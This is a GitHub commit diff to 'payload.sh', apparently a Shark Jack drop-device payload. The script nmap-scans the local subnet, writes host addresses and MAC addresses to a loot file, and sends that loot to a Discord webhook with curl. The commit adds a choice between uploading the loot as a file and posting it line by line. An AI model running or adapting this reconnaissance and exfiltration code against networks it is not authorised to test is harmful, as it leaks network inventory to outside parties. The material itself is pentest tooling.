Update payload.sh

pull/40/head
ar1k88 2021-01-22 04:25:13 -08:00 committed by GitHub
parent 27a98cb46e
commit 26047aa6fe
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 15 additions and 3 deletions

View File

@ -17,8 +17,11 @@
# Red.......................Failed C2/EXFIL/Scanning # Red.......................Failed C2/EXFIL/Scanning
# Green.....................Finished # Green.....................Finished
# Turn on Discord Integration (Yes = 1, No = 0)
DISCORD=0 DISCORD=0
WEBHOOK='PLACE_DISCORD_WEBHOOK_HERE' WEBHOOK='PLACE_DISCORD_WEBHOOK_HERE'
# Send Loot as File or Plain Messages (File = 1, Messages = 0)
AS_FILE=0
if [ -f "/etc/device.config" ]; then if [ -f "/etc/device.config" ]; then
INITIALIZED=1 INITIALIZED=1
@ -59,6 +62,7 @@ else
LED C VERYFAST LED C VERYFAST
run_nmap () { run_nmap () {
nmap -sn --privileged "$SUBNET" --exclude "$INTERNAL_IP" | awk '/Nmap scan report for/{printf " -> ";printf $5;}/MAC Address:/{print " - "substr($0, index($0,$3)) }' >> "$LOOT_FILE" nmap -sn --privileged "$SUBNET" --exclude "$INTERNAL_IP" | awk '/Nmap scan report for/{printf " -> ";printf $5;}/MAC Address:/{print " - "substr($0, index($0,$3)) }' >> "$LOOT_FILE"
} }
run_nmap & run_nmap &
PID=$! PID=$!
@ -73,8 +77,16 @@ else
opkg update;opkg install libcurl curl; opkg update;opkg install libcurl curl;
fi fi
LED Y SOLID LED Y SOLID
if [ "$AS_FILE" == 1 ]; then
FILE=\"$LOOT_FILE\" FILE=\"$LOOT_FILE\"
curl -s -i -H 'Content-Type: multipart/form-data' -F FILE=@$FILE -F 'payload_json={ "wait": true, "content": "Loot has arrived!", "username": "SharkJack" }' $WEBHOOK curl -s -i -H 'Content-Type: multipart/form-data' -F FILE=@$FILE -F 'payload_json={ "wait": true, "content": "Loot has arrived!", "username": "SharkJack" }' $WEBHOOK
fi
if [ "$AS_FILE" == 0 ]; then
while read -r line; do
DISCORD_MSG=\"**$line**\"
curl -H "Content-Type: application/json" -X POST -d "{\"content\": $DISCORD_MSG}" $WEBHOOK
done < "$LOOT_FILE"
fi
LED G SOLID;sleep 2; LED G SOLID;sleep 2;
fi fi
if [ "$INITIALIZED" == 1 ]; then if [ "$INITIALIZED" == 1 ]; then